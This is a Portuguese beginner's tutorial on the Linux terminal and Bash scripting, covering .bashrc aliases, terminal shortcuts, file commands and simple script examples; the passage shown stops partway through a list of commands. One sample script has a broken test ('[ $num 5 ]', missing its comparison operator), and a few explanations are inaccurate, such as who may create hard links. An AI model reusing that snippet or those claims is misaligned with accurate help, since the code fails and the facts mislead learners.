O .bashrc é um arquivo que posso acessar em minha home apertando as teclas Ctrl+H o localizo abro com um editor de texto e no final do .bashrc colo os aliases abaixo e salvo e fecho o arquivo. Após, digito no terminal: source .bashrc

####################
# Aliases do Usuário
#
# PARA ESCONDER O NOME DO USUARIO E DO PC
#
export PS1="\W \$"
#
# SABER O PID
#
alias pf="pidof"
#
# MATAR COM NUMERO DO PID
#
alias k9="kill -9"
#
alias k15="kill -15"
#
fortune | cowsay
#
alias fort='fortune | cowsay'
#
alias e='exit'
#
alias c='clear'
#
alias up="sudo sh -c 'dpkg --configure -a ; apt list --upgradable ; apt --fix-broken install ; apt update ; apt full-upgrade -y' ; sudo sh -c 'apt update ; apt-get dist-upgrade ; update-grub ; apt install -f ; apt update ; apt full-upgrade -y'"
#
alias fire="sudo sh -c 'dpkg --configure -a ; apt list --upgradable ; apt --fix-broken install ; apt update ; apt full-upgrade -y' ; sudo sh -c 'apt update ; apt-get dist-upgrade ; update-grub ; apt install -f ; apt update ; apt full-upgrade -y ; systemctl start firewalld.service ; firewall-cmd --state ; ufw enable ; ufw status verbose ; systemctl enable firewalld ; apt update ; apt full-upgrade -y'"
#
alias sbrc='source .bashrc'
#
alias brc='leafpad .bashrc'
#
alias it='sudo apt-get install'
#
alias rem='sudo apt-get remove'
#
alias sf='apt search'
#
alias pac='apt show'
#
# ALIASES PARA ATIVAR SCRIPT
#
alias chm="chmod +x"
#
alias chma="chmod a+x"
#
# ATALHOS PARA LISTAGENS DE DIRETÓRIOS
#
alias ll="ls -l"
#
alias lf="ls -F"
#
alias l="ls -al"
#
alias lm="ls -al | more"
#
alias lis="ls --color"
#
# ALIAS PARA COMANDOS DE DATA E HORA
#
alias d="date +%F"
#
alias agora="date +'%T'"
#
alias hoje="date +'%d/%m/%Y'"
#
# ALIASES HISTÓRICO
#
alias hm="history | more"
#
alias hg="history | grep -i"
#
# PARA OBTER INFORMAÇÕES DO SISTEMA
#
alias def="df -Tha --total"
#
alias deu="du -ach | sort -h"
#
alias freee="free -mt"
#
alias pes="ps auxf | more"
#
# COMANDOS FLATPAK
#
alias comandosflatpak="echo 'flatpak list, Executar aplicativo: flatpak run nome_do_aplicativo_tem_dois_pontos, flatpak uninstall nome_do_aplicativo_pelo_menos_dois_pontos, flatpak update, flatpak remote-list, flatpak remote-list nome_do_repositório, flatpak remote-delete nome_do_repositório, flatpak install --from, flatpak install --from https://, Para executar: flatpak run org.nome_repositorio.nome_do_programa'"
#
# COMANDOS SNAP
#
alias comandossnap="clear ; echo 'sudo snap remove nome_do_pacote, snap find termo_de_busca, snap install nome_do_pacote, snap list, snap changes, sudo snap refresh nome_do_pacote, snap refresh --list, snap revert nome_do_pacote'"
#
# Fim dos Aliases do Usuário

.

MXLinux 2018 - Aprendendo comandos. Aprendendo a usar o terminal do Linux e a criar shell scripts

.

Os prompts padrão do Linux são:

.

Para root:

- # -

Para os outros usuários:

- $ -

.

Tem um terminal legal para estudar comandos e shell script Linux chamado terminator.

.

Ele pode ser dividido horizontalmente (Ctrl+Shift+O) e verticalmente (Ctrl+Shift+E).

Pode redimensionar as divisões do terminator com (Ctrl+Shift+seta).

Para mover de uma janela de terminal para outra (Ctrl+Shift+N) (Ctrl+Tab).

Para fechar o terminal (Ctrl+Shift+W).

.

Procuro o terminator pelo software center da minha distro. Instalo. Abro ele pelo menu do sistema. Com o terminator posso ler este artigo em um subdivisão do terminal e usar outras para executar as instruções do artigo por exempo porque é só copiar este texto para um editor de texto salvar como .txt e abrir ele no terminal com o nano por exemplo.

.

TERMINATOR EXEMPLO DE USO

.

Abro o terminator pelo menu do sistema.

.

Aperto as teclas:

Ctrl+Shift+O

Ctrl+Shift+E

Ctrl+Shift+N

Ctrl+Shift+Seta para esquerda/direita/cima/baixo

Ctrl+Shift+W

.

Após escrever e pressionar comandos no meu terminal, eles são examinados pelo Shell, que no meu caso é o Bash.

Após o exame do Shell, os comandos informados são passados para o Linux, que executa o comando ou exibe uma mensagem de erro que ajuda quando for executar o comando correto.

.

Comandos do Linux tem quase sempre a seguinte forma:

comando [- opções] [argumentos]

comando [- opções] [parâmetros]

.

Exemplo:

.

Digite no terminal: whoami

Aperte a tecla Enter.

Digite no terminal: cd

Aperte a tecla Enter.

.

Use o exemplo abaixo para digitar no terminal:

ls -tli /home/seu_user_whoami/Downloads/

.

No exemplo acima;

ls (É o comando.)

-tli (É a opção.)

/home/seu_user_whoami/Downloads/ (É o parâmetro/argumento.)

.

Executo os exemplos abaixo para entender como obter ajuda:

man --help

man grep

apropos mkdir

whatis bash

whereis sh

.

QUERO SABER A VERSÃO DA DISTRIBUIÇÃO ENTÃO DIGITO:

.

lsb_release -a

.

cat /etc/issue

.

ME INFORMO SOBRE O KERNEL E ARQUITETURA DA MÁQUINA (faço sempre que posso pra eu não esquecer):

.

uname -a

.

uname -r

.

arch

.

Eu quero aprender atalhos de terminal do GNU/Linux então eu leio o texto abaixo:

.

Atalho Função

Ctrl + a Move o cursor para o início da linha
----------------------------------------------------
Ctrl + e Move o cursor para o final da linha
----------------------------------------------------
Ctrl + l Limpa a tela, semelhante ao comando clear
----------------------------------------------------
Ctrl + u Apaga do cursor ao início da linha.
----------------------------------------------------
Ctrl + k Apaga do cursor ao final da linha.
----------------------------------------------------
Ctrl + w Apaga uma palavra antes do cursor.
----------------------------------------------------
Ctrl + Shift + _ Desfaz as últimas mudanças.
----------------------------------------------------
!! Executa o último comando no histórico.
----------------------------------------------------
!abc Executa o último comando no histórico começando com abc.
----------------------------------------------------
!n Executa o comando de número n no histórico.
----------------------------------------------------

.

Para aprender o que li acima, executo o ensinamento abaixo:

.

Abro o terminal pelo menu do sistema.

.

Colo o texto abaixo no terminal, mas poderia ser qualquer frase:

.

Frase: "Ctrl + u Apaga do cursor ao início da linha."

.

Agora aperto duas teclas, as teclas:

Ctrl + A

.

Aperto a seta do teclado para a direita quatro vezes. Então aperto as teclas:

.

Ctrl + U

.

Aperto duas teclas, as teclas Ctrl + E

(Control e E)

.

Aperto a tecla seta para esquerda 7 vezes.

.

Aperto as teclas Ctrl + K

.

Aperto as teclas Ctrl + W

.

Aperto 3 teclas: Crtl + Shift + _

(Control, Shift e Underline.)

.

Aperto a tecla seta para cima algumas vezes.

.

Aperto a tecla seta para baixo algumas vezes.

.

Pronto. Já estou sabendo alguma coisa. Com isto, já aprendi bastante sobre atalhos de teclado para o terminal Linux.

.

VERIFICO INFORMAÇÕES DA MINHA CPU:

cat /proc/cpuinfo

.

Me lembro que o terminal do Linux tem sensibilidade a letras maiúsculas e minúsculas. Um arquivo chamado Texto.txt é diferente de texto.txt

.

VERIFICO INFORMAÇÕES SOBRE A MEMÓRIA:

cat /proc/meminfo

.

Quero saber que dia é hoje para o terminal, digito:

date

.

Quero saber quando cairá certo dia em outro ano anterior ou posterior usando pipe "|" e "less":

~$ cal 2017 | less

~$ cal 2018 | less

~$ cal 2019 | less

.

Aperto a tecla Q para sair do calendário. O pipe "|" serve para unir um comando a outro. No GNU/Linux posso unir programas que trabalharão juntos.

.

Em qual dia da semana cairá o dia das crianças?

date --date='12 Oct' +%a

.

Que dia foi ontem?

date --date='1 day ago'

.

Que dia será amanhã?

date --date='1 day'

.

A partir deste dia, daqui a um ano um mês e um dia, que dia será?

date --date='1 day 1 month 1 year'

.

Que dia foi a um ano um mês e um dia?

date --date='1 day 1 month 1 year ago'

.

Para saber informação sobre o sistema e o hardware:

.

Info CPU

cat /proc/cpuinfo

.

Info memória

cat /proc/meminfo

.

Detalhes da versão

cat /proc/version

.

Detalhes da partição

cat /proc/partitions

.

Detalhes dispositivos SCSI/Sata

cat /proc/scsi/scsi

.

Info dispositivos SATA

hdparam /dev/sda1

.

Lista componentes do Hardware

sudo lshw

.

Imprime info do hardware

sudo hwinfo --short

.

Lista dispositivos scsi

sudo lsscsi

.

Lista todos os dispositivos PCI

lspci

.

Lista dispositivos USB

lsusb

.

Lista dispositivos de bloco

lsblk

.

Mostra informação sobre a arquitetura da CPU

lscpu

.

Comandos para manipulação de arquivos e diretórios:

.

pwd (Informa o nome do diretório corrente)

cd (Navega entre diretórios)

cd (Volta para a home)

cd . (Diretório atual)

cd .. (Retrocede um diretório)

cd - (Avança para o último diretório em que esteve)

ls (Lista arquivos e diretórios)

ls -a (Lista diretórios, arquivos e arquivos ocultos)

ls -t (Lista arquivos e diretórios por data de modificação)

cp (Copia arquivos e diretórios)

mv (Move ou renomeia arquivos e diretórios)

ln (Estabelece ligações entre arquivos)

ln -s (Estabelece ligações simbólicas entre arquivos)

mkdir (Cria um diretório)

mkdir -p (Cria um diretório e um sub-diretório)

mkdir ../nome-da-pasta-a-ser-criada (Cria uma pasta abixo da pasta onde estou)

rmdir (Remove um diretório vazio)

rm -f (Apaga arquivos)

rm -r (Apaga pastas/diretórios)

rm -I (Pede confirmação ante de remover)

file (Indica tipo de arquivo)

grep (Pesquisa arquivos por conteúdo)

grep -i palavra-que-procura arquivo-de-texto.txt

grep -i arquivo-que-procura caminho/para/pasta

find (Localiza arquivo por suas características)

find -name "palavra-termo-de-busca"

find -iname "palavra-termo-de-busca"

.

find -name nome-do-arquivo -exec rm {} \; (Executa o comando cmd . O escopo de comando é considerado encerrado quando um ponto e vírgula (;) é encontrado. A cadeia {} é substituída pelo nome de cada arquivo que satisfaz ao critério de pesquisa e a linha assim formada é executada. Assim como foi dito para a opção - name, o ponto e vírgula (;)deve ter antes uma contrabarra, ou deve estar entre aspas ou apóstrofos)

.

Exemplo (faça o teste pelo terminal):

~ $touch 01-arquivo.txt

~ $ls -t

~ $find -name 01-arquivo.txt -exec rm {} \;

~ $ls -t

.

basename nome-do-arquivo (Devolve o nome de um arquivo recebendo o caminho completo)

Exemplo:

~ $basename Documentos/
Documentos

.

dirname nome-do-diretório (Devolve o nome do diretório recebendo o caminho completo)

> nome-do-arquivo.extensão (Cria arquivo vazio)

touch nome-do-arquivo.extensão nome-do-arquivo2.extensão (Cria um ou mais arquivos vazios)

cat nome-do-arquivo.extensão > nome-do-arquivo.extensão (Cria arquivo vazio)

.

cd - Navegando entre pastas/diretórios

.

cd . (pasta atual)

cd .. (pasta anterior)

cd ~ (pasta home do usuário)

cd - (última pasta)

.

ls - Lista arquivos

.

ls [opções ] [arquivo/diretório/pasta]

.

ls -l

.

ls -t

.

ls *.txt

(asterisco representa qualquer coisa ligada a .txt)

.

ls *.sh

(asterisco representa qualquer coisa ligada a .sh)

.

ls -lat

.

ls -lah

.

ls ????.txt

.

ls ????.sh

(o ponto de interrogação substitui um e somente um caractere)

.

ls [at]*.mp3

(listar todos os arquivos começados por a ou t, seguido por qualquer coisa * e terminados por .mp3). Exemplo:

$ls [at]*.mp3
alcione_ne_me_quitte_pas.mp3 alex_cohen_quem_de_nos_dois.mp3
alex_cohen_hotel_california.mp3

.

cp - Copia de arquivos e diretórios

.

cp [opções]

.

Se usar:

.

cp -i

.

É o modo interativo. Uso se não tenho certeza de que o arquivo foi copiado previamente, pois copiar novamente sobreescreve o arquivo copiado e posso perder alguma coisa...

.

Se usar:

.

cp -v

.

Mostra o que está copiando

.

Se usar:

.

cp -r

.

Copia recursivamente arquivos pastas e sub-pastas

.

mv - MOVER ARQUIVOS E PASTAS/DIRETÓRIOS

.

É usado para renomear arquivos, é quase o mesmo que copiar o arquivo origem para o arquivo destino e depois remover o arquivo origem. As opções do mv são parecidas com as do comando cp.

.

Se eu crio o arquivo-teste.txt pelo terminal com o comando touch e escrevo algo nele com o comando echo redirecionando a saída do echo para o arquivo-teste.txt, depois leio o que escrevi com o comando cat eu posso copia-lo para o 2arquivo-teste-novo.txt com o comando mv.

.

Execute copiando e colando os comandos abaixo um de cada vez:

.

cd

echo -e '\nOlá!\nTudo\nFirme?' >> 05-arq.txt

echo -e '2-Olá!\n2-Tudo\n2-Firme?\n' >> 05-arq.txt

ls -tli

cat 05-arq.txt

cat -n 05-arq.txt

rm -f 05-arq.txt

touch arquivo-teste.txt

ls -li

ls -t

echo 'Aprendendo Linux!' >> arquivo-teste.txt

cat -n arquivo-teste.txt

echo 'Estou Aprendendo Linux!' > arquivo-teste.txt

cat arquivo-teste.txt

find -name "arq*"

find -iname "arq*"

find *.txt

mv arquivo-teste.txt 2arquivo-teste-novo.txt

ls -li

ls -t

cat 2arquivo-teste-novo.txt

find -name "2arq*"

find -iname "2arq*"

.

Por exemplo, o comando mv é útil quando eu tenho um arquivo que vou refazer mas quero guardar o arquivo antigo como base para o novo arquivo.

.

O comando mv pode mover o 2arquivo-teste-novo.txt para a pasta Downloads.

.

cd

ls -li

ls -t

pwd

mv 2arquivo-teste-novo.txt Downloads/

cd Downloads/

pwd

ls -li

ls -t

cat 2arquivo-teste-novo.txt

find -name "2arq*"

find *.txt

.

Agora renomeio o 2arquivo-teste-novo.txt para 3arquivo-teste-velho.txt:

.

mv 2arquivo-teste-novo.txt 3arquivo-teste-velho.txt

cat 3arquivo-teste-velho.txt

find -name "3ar*"

.

CONTINUE EXECUTANDO UM COMANDO DE CADA VEZ.

.

pwd

ls -t

mv -b 3arquivo-teste-velho.txt 3arquivo-teste-back.txt

ls -t

pwd

cat 3arquivo-teste-back.txt

mv -i 3arquivo-teste-back.txt 4arquivo-teste-velho.txt

ls -t

pwd

cat -n 4arquivo-teste-velho.txt

find -name "4arq*"

find *.txt

find -iname "4arq*" -exec rm {} \;

ls -t

find *.txt

.

ln - Estabelece ligações entre arquivos

.

ln [-s]

.

O comando ln cria ligações (links).

.

Existem dois tipos de ligações:

Hard Link e Link Simbólico.

.

Hard Link: neste caso, os dois compartilham os dados. Se apagar o arquivo original o hardlink permanece funcionando. Somente é possível fazer hardlink em arquivos que estejam em uma mesma partição de disco. Somente o usuário proprietário do sistema pode criar/desfazer hardlinks.

.

Ex:

> arq3-test.txt

ls -lit

ln arq3-test.txt arq3-hard-link

ls -lit (veja se possuem o mesmo número Inode e o mesmo device)

echo '1-Aprendendo sobre hard link.' >> arq3-test.txt

cat arq3-hard-link

echo '2-Mais uma linha escrita: Aprendendo sobre hard link.' >> arq3-hard-link

ls -lit

cat arq3-test.txt

rm -f arq3-test.txt

ls -lit

cat arq3-hard-link

.

Link Simbólico é somente o caminho do
arquivo-origem. Diferente do hard link pode-se fazer links simbólicos em arquivos e pastas. Nenhum dos dois precisam estar na mesma partição de disco.

.

Uso mais Link Simbólico. Para entender vou criar links. Executo os comandos abaixo um de cada vez.

.

Ex:

touch arq4-test.txt

ls -t

ln -s arq4-test.txt arq4-link-simb

ls -tli

echo 'Aprendendo sobre link simbolico.' >> arq4-link-simb

cat arq4-test.txt

ls -t

rm -f arq4-test.txt (Este é o arquivo origem)

cat arq4-link-simb

ls -t

rm arq4-link-simb

.

Comandos que leem da entrada padrão (stdin/teclado) e escrevem na saída padrão (stdout/monitor de vídeo). O propósito destes filtros quase sempre é o de modificar a saída de outros, por isso, geralmente são utilizados em combinação com mais comandos. Exemplo:

cat, wc, sort, head, tail

.

cat (Exibe conteúdo de arquivos)

wc (Conta caracteres, palavras e/ou linhas de arquivos)

sort (Ordena o conteúdo de arquivos)

head (Exibe o início dos arquivos)

tail (Exibe o final dos arquivos)

.

Os comandos/filtros acima se não forem direcionados para um arquivo, irão aparecer na tela do terminal.

.

COMANDOS MAIS USADOS DO SHELLSCRIPT

.

Sobre o Comandos mais usados do shellscript:

É para iniciantes. Pretende oferecer o máximo de informação possível em pouco tempo, para que a pessoa ao terminar de EXECUTAR este artigo entenda bastante coisa sobre shell script e seja capaz de criar scripts úteis para si mesma. Desde o primeiro artigo eu editei ele umas oito vezes. Para mim este ficou mais interessante. Longe de ser perfeito, peço que faça vista grossa a erros de digitação ou definições ligeiramente incoerentes. O negócio é que este artigo é realmente útil para mim e espero que seja útil para você também. A maior parte deste artigo é pesquisa, mas alguns pedaços foram reescritos.

.

Não esqueça de dar intervalos em seus estudos para se esticar, hidratar, etc.

Sabe por que?

Porque depois de executar alguns trechos deste artigo a ficha cai, a pessoa fica animada e não quer parar (tipo eu).

.

Vamos lá?

.

Qual é o seu usuário?

.

Se você não tem certeza qual é o seu usuário, use o comando "whoami" sem aspas, para saber.

.

Abra o terminal pelo menu do sistema.

.

Como o prompt de usuário normal pode ser diferente para cada um, podemos em algum momento usar "prompt$" para indicar o prompt da linha de comando.

.

ALGUMAS DICAS ÚTEIS QUE SERÃO REPETIDAS DURANTE O CAMINHO:

.

1
Não execute shell script como root.

.

2
O shell script Linux usando o interpretador de comandos Bash começa com o shebang:

#!/bin/bash

.

3
Abra um editor de texto e cole nele o script salvando com um nome que termine com extensão .sh

.

4
Dar permissão para executar o script pode ser só para você ou para todos usarem:

chmod +x MeuScript.sh (só você)
chmod a+x MeuScript.sh (todos os usuários do PC)

.

5
Um script pode ser executado de 3 modos:

bash MeuScript.sh
sh MeuScript.sh
./MeuScript.sh

.

Exemplo para começar bem. Copie e cole o código abaixo no terminal que você vai abrir pelo MENU DO SISTEMA:

.

echo -e '#!/bin/bash\nclear\necho\necho Olá usuário Linux!\nsleep 2\necho\necho Olá Mundo!\nsleep 2\nVALOR=GNU/Linux\necho\necho Você quer aprender comandos $VALOR?\nsleep 2\necho\necho Então vamos aprender comandos $VALOR!\nsleep 2\necho\necho Até Breve usuário Linux!\necho\nsleep 2\nexit' > 03-olauser.sh ; chmod +x 03-olauser.sh ; bash 03-olauser.sh

.

Para remover o script criado pelo código acima, o arquivo 03-olauser.sh, use o mouse e o gerenciador de arquivos ou copie e cole o comando abaixo no mesmo terminal onde executou o código:

.

unset VALOR ; sleep 2 ; rm 03-olauser.sh ; sleep 2 ; ls -t ; sleep 2 ; exit

.

TEMOS VÁRIOS COMANDOS MAIS USADOS EM SHELL SCRIPT:

.

Operadores Aritméticos:

+ Adição
- Subtração
* Multiplicação
/ Divisão
% Módulo
** Exponenciação

.

TEM ESTES COMANDOS ABAIXO:

.

awk cat cd chmod cut date diff echo find grep head kill ls printf rev scp sed seq sort ssh tac tail top

.

MAIS COMANDOS QUE VOCÊ PODE USAR EM SHELL SCRIPT:

.

echo Imprime texto na tela
read Captura dados do usuário e coloca numa variável
exit Finaliza o script
sleep Dá uma pausa em segundos no script
clear Limpa a tela
if Controle de fluxo que testa uma ou mais expressões
case Controle de fluxo que testa várias expressões ao mesmo tempo
for Controle de fluxo que testa uma ou mais expressões
while Controle de fluxo que testa uma ou mais expressões

.

O MAIS IMPORTANTE É ENTENDER: if, then, else, case, for e while. ISTO É MAIS PARA O FINAL.

.

Porém, podemos de repente fazer tudo ao contrário!

Podemos porque os melhores scripts e tutoriais já foram criados.

Aqui a gente dá um pulo e entende coisas impressionantes sobre shell script.

Graças ao mestre Carlos E. Morimoto.

Veja só:

.

Um script para pegar arquivo de vídeo da internet e converter para .mp3 e depois se quiser pegar o vídeo (faça o teste):

.

#!/bin/bash

#######################
# Autor: Fulano de Tal
# Este script eu coloco na pasta bin/
# Nome do script: 04-youtube_download-mp3.sh
# Na minha home crio uma pasta bin e dentro desta pasta bin coloco os scripts. Nesta pasta bin/ crio uma pasta chamada youtube-dl assim:
# cd ; mkdir -p bin/youtube-dl
#######################

echo
echo 'Obter arquivo de áudio'
sleep 2

echo
echo "Digite a URL do arquivo a baixar"

read arquivo
cd ; cd bin/ ; cd youtube-dl/ ; youtube-dl --extract-audio --audio-format mp3 ${arquivo}

echo -e 'Gostaria de obter arquivo de video?\n \nCaso não queira digite:\n \nCtrl+C'
sleep 3

echo
echo "Digite a URL do arquivo a baixar"

read arquivo
cd ; cd bin/ ; cd youtube-dl/ ; youtube-dl ${arquivo}

# Fim do script

.

Para scripts mais completos, precisamos começar a usar as operações lógicas, que permitem que o script tome decisões. O formato mais básico é o "se, então, senão", que no shell script é representado pelos operadores "if", "then" e "else"
.

.

Imagine que você está fazendo um script conversor de vídeos, que é capaz de gerar arquivos em quatro diferentes formatos. O script começa perguntando qual formato usar e, de acordo com a resposta, executa os comandos apropriados para fazer a conversão.

Para simplificar, vamos fazer com que o script simplesmente converta todos os arquivos dentro do diretório atual, em vez de perguntar quais arquivos converter ou de exibir uma caixa de seleção.

A parte da pergunta poderia ser feita com o "echo", como no exemplo anterior. Como agora são várias linhas de texto, usei aspas simples ( ' ) em vez de aspas duplas. As aspas simples permitem que você inclua quebras de linha e caracteres especiais dentro do texto, fazendo com que o shell simplesmente escreva tudo literalmente:
.

echo 'Escolha o formato de saída:
1) MPEG4, 320x240 (vídeos no formato 4:3)
2) MPEG4, 320x176 (vídeos em formato wide)
3) Real Player, 320x240 (vídeos no formato 4:3)
4) Real Player, 320x176 (vídeos em formato wide)
(Responda 1, 2, 3 ou 4, ou qualquer outra tecla para sair)'
read resposta

.

No final deste trecho, teríamos a variável "resposta", que armazenaria um número de 1 a 4. Precisamos agora fazer com que o script decida o que fazer de acordo com a resposta.
.

O jeito mais simples de fazer isso seria simplesmente colocar um bloco com 4 comandos "if" (se), um para cada possibilidade. Cada "if" é sempre acompanhado por um "then" (então) e um "fi" (fim do se), como em:

if [ "$resposta" = "1" ]; then
[comandos ...]
fi
if [ "$resposta" = "2" ]; then
[comandos ...]
fi
if [ "$resposta" = "3" ]; then
[comandos ...]
fi
if [ "$resposta" = "4" ]; then
[comandos ...]
fi

.

Uma forma mais elegante (e mais à prova de falhas), seria usar o "elif" (que poderia ser traduzido para "senão se") e o "else" (senão), como em:

if [ "$resposta" = "1" ]; then
[comandos ...]
elif [ "$resposta" = "2" ]; then
[comandos ...]
elif [ "$resposta" = "3" ]; then
[comandos ...]
elif [ "$resposta" = "4" ]; then
[comandos ...]

else
echo "Você digitou uma opção inválida. O script termina aqui."
fi

.

Como pode ver, ao usar o elif você não precisa mais incluir um "fi" para cada possibilidade. Outra vantagem é que você pode agora incluir um "else" no final, que faz com que o script responda com uma mensagem de erro ao receber alguma resposta que não estava esperando. Dentro de cada uma das condições, você incluiria um bloco de comandos destinado a gerar os arquivos convertidos com os parâmetros correspondentes, como em:

if [ "$resposta" = "1" ]; then
for i in *; do
mencoder -oac mp3lame -lameopts cbr:br=128 -ovc lavc -lavcopts \
vcodec=mpeg4:vbitrate=512 -ofps 16 -vf scale=320:176 -o "c-$i" "$i"

done

elif [ "$resposta" = "2" ]; then
[o resto do script...]

.

Esse comando gigante que se esparrama pela terceira e a quarta linha é um comando de conversão do mencoder (um pequeno utilitário de conversão de arquivos de mídia em modo texto, que é bastante flexível), que gera um arquivo de vídeo otimizado para ser assistido em smartphones. Esse é o tipo de comando que é longo demais para ser escrito manualmente, mas que pode perfeitamente ser usado através de um script.

Veja que a variável "i" é usada no final da quarta linha, para indicar o nome do arquivo. O "c-$i" "$i" faz com que o script adicione o prefixo "c-" no nome dos arquivos convertidos, permitindo que eles sejam incluídos na pasta sem apagar os arquivos originais.

O comando do mencoder é colocado dentro de outra condicional, agora usando o "for" (enquanto), que permite que o script execute um conjunto de comandos repetidamente.

No exemplo, ele é usado para fazer com que o comando de conversão do mencoder seja executado uma vez para cada arquivo dentro da pasta. Ao ser executado, a variável "i" (poderia ser qualquer outro nome) recebe o nome do primeiro arquivo, o que faz com que ele seja convertido.

Ao chegar no "done", o interpretador volta à linha inicial e a variável "i" recebe agora o nome do segundo arquivo. O processo é então repetido para cada um dos arquivos da pasta, até o último (a lista dos arquivos a converter é gerada pelo interpretador no início do script, por isso não existe o risco do conversor ficar em loop). O "for i in *; do" poderia ser traduzido como "para cada arquivo dentro da pasta atual, execute".
.

Confere este script abaixo:

.

#!/bin/bash # Onde o script vai rodar

# Exemplo de instrução IF

echo "Script para estudo de Shell Script - Função IF" # Exibe a frase entre ""

echo "Digite um número de 0 a 10:" # Exibe a frase entre ""

read num # Pega a resposta do user e salva na variável "num"

if [ $num 5 ] ; then # Caso a variável "num" seja maior que 5, faça

echo "Vc digitou o número $num, que é maior que 5" # Exibe a frase entre ""

else # Caso contrário...

echo "Voce não digitou um número válido" # Exibe a frase entre ""
fi

# Fim do script

.

AGORA VOLTEMOS AO PRINCÍPIO.

.

ESCOLHER O DIRETÓRIO ONDE COLOCAR O SCRIPT

Para que o script possa ser executado de qualquer parte do sistema, mova-o para um diretório que esteja no seu PATH. Para ver quais são estes diretórios, abra agora o terminal pelo menu do sistema e digite o comando:

echo $PATH

.

Exemplo:

~ $echo $PATH
/home/eu_user/bin:/sbin:/bin:/usr/sbin:/usr/bin:/snap/bin:/home/eu_user/bin

.

Se não tiver permissão de mover para um diretório do PATH, deixe-o dentro de seu diretório pessoal ($HOME). Digite no terminal: $HOME

.

CRIAR O ARQUIVO E COLOCAR NELE OS COMANDOS

Abra pelo menu do sistema o editor de texto gedit, pluma, leafpad, mousepad ou outro editor de textos de sua preferência para colocar todos os comandos dentro do arquivo.

.

COLOQUE A CHAMADA DO SHELL (shebang) NA PRIMEIRA LINHA

A primeira linha do script deve ser:

#!/bin/bash

.

Deve ser assim para que ao ser executado, o sistema saiba que é o BASH quem irá interpretar estes comandos.

.

TORNE O SCRIPT UM ARQUIVO EXECUTÁVEL

.

Use o seguinte comando para que seu script seja reconhecido pelo sistema como um comando executável:

.

chmod +x nome-do-teu-shellscript.sh

.

PARA PERMITIR QUE TODOS OS USUÁRIOS POSSAM EXECUTAR O SCRIPT:

.

chmod a+x nome-do-teu-shellscript.sh

.

EXECUTE O SCRIPT:

./nome-do-teu-shellscript.sh (Aqui "./" representa o diretório atual)

.

/home/seu-usuário/bin/nome-do-teu-shellscript.sh (Aqui informa onde está o script para que o bash execute em outra pasta)

.

BASH EXECUTANDO COMANDOS

.

Shell script é uma linguagem de script usada em vários sistemas operacionais, com diferentes dialetos, dependendo do interpretador de comandos utilizado.

.

Um exemplo de interpretador de comandos é o bash, usado na grande maioria das distribuições GNU/Linux.

.

A maior parte dos usuários classificam shell script como uma linguagem de fácil aprendizagem. Mas não é tão fácil assim. O primeiro passo é, saber o que se deseja fazer, então ver qual o código que executa este comando em shell e aí criar, basta escrever o código em algum editor de texto e salvar. Veja só por exemplo, que de tempos em tempos você quer saber informações do sistema, instalar programas, remover programas, converter/alterar/escrever arquivos, fazer backups, adicionar informações, remover informações, criar/mover/duplicar pastas, arquivos etc.

.

AGORA ABRE O TERMINAL E DIGITA COMANDOS, POR EXEMPLO, DIGITE ESTES COMANDOS ABAIXO UM DE CADA VEZ:

.

apropos shell

whereis bash

whatis bash

echo $SHELL

clear

echo

echo ''

echo ""

echo "Olá!"

printf 'Bem vindo ao bash!' (Aperte a tecla enter e digite: ls)

echo '#!/bin/bash'

echo "#!/bin/bash"

ls -t

ls -a

echo ; echo "Olá!" ; echo

echo -e 'Bom\nDia\nMundo!'

echo -e "Bom\nDia\nMundo!"

echo "Hello world!"

echo "Hello "world"!"

echo "Hello \"world\"!"

echo -e "1\t2\t3"

echo -e '1\t2\t3'

echo -e "Nós\tVós\tEles(as)"

echo -e 'Nós\tVós\tEles(as)'

printf "Hello world" (Aperte a tecla enter e digite: df -h)

pwd

clear

ls -ta

sleep 7

echo ; echo 'Olá!' ; sleep 3 ; ls -t

free -h -t

free -th

sleep 4

date

date -d "yesterday"

date -d "2 days ago"

date +"%d/%m/%Y"

cal

du -h

clear

du -hcs

uptime

uname -a

free -tmlh

whatis df

df -a -h

df -k -l

df -T -m

whatis history

history

echo ; whoami ; echo

ls ; echo ; pwd ; echo

echo ; ls -at ; echo

echo "sou \n um \n texto"

echo -e "sou \n um \n texto"

whatis du

du *

ls -lah

du -hcs

du -ach

lsb_release

lsb_release -a

whatis cat

cat /etc/hostname

cat -n /etc/hostname

cd ..

pwd

VARIAVEL="Meu diretório atual é o `pwd`"

echo $VARIAVEL

unset VARIAVEL

echo $VARIAVEL

ls

cd -

pwd

ls

clear

echo ; echo 'df: Relata o espaço de disco usado pelo sistema (Usado e Livre)' ; echo ; df -h ; echo

ls -hat

echo ; echo "du: Relata o espaço utilizado no disco de tal arquivo ou diretório" ; echo ; du -hcs ; echo

echo ; echo 'env (Este comando oferece uma lista de variáveis. Entre elas PWD, USER, SESSION_MANAGER e LANG)' ; sleep 4 ; echo ; env ; echo

clear

echo $PWD

echo ${PWD}

echo $USER

echo "Eu estou logado como usuário $USER"

echo $SESSION_MANAGER

echo ${SESSION_MANAGER}

echo $LANG

VALOR="Linux"

echo $VALOR

echo ${VALOR}

echo $VALOR $VALOR

echo ${VALOR} ${VALOR}

VALOR='ls -t'

$VALOR

${VALOR}

VALOR='history'

echo $VALOR

$VALOR

echo ${VALOR}

${VALOR}

unset VALOR

VALOR=$(cat /etc/hostname)

echo $VALOR

$VALOR

clear

VALOR='free -h -t'

$VALOR

${VALOR}

echo $VALOR

echo ${VALOR}

echo VALOR

echo -e '\nSaiba que ao usar o comando read VALOR\n \n(Aperte a tecla enter, digite: "ls" sem aspas e aperte enter.)\n \nDepois execute $VALOR\n \nVamos ver isto logo abaixo:\n'

read VALOR

$VALOR

${VALOR}

read VALOR

.

OBS: Aperte a tecla enter, digite: "uptime" sem aspas e aperte enter.

.

$VALOR

${VALOR}

echo "Entre com o valor para a variável: " ; read VARIAVEL

$VARIAVEL

unset VARIAVEL

VALOR='du -hcs'

echo ; $VALOR ; echo ; $VALOR ; echo

echo ; $VALOR ; sleep 4 ; echo ; $VALOR ; echo

echo ; ${VALOR} ; sleep 4 ; echo ; ${VALOR} ; echo

clear

unset VALOR

echo ; $VALOR

$VALOR

${VALOR}

echo ; ${VALOR}

VALOR='lsb_release -a'

$VALOR

VALOR=$(lsb_release -a)

echo $VALOR

echo -e '\nOlá!\nVamos\nSaber\nOs\nComandos\ndo\nShellscript Linux!'

clear ; echo -e '\n \nOlá!\n \nVamos\n \nSaber\n \nOs\n \nComandos\n \ndo\n \nShellscript Linux!\n'

HOJE=$(lsblk)

echo "Informação sobre dispositivos de bloco: $HOJE"

echo "Informação sobre dispositivos de bloco: ${HOJE}"

HOJE=$(cal)

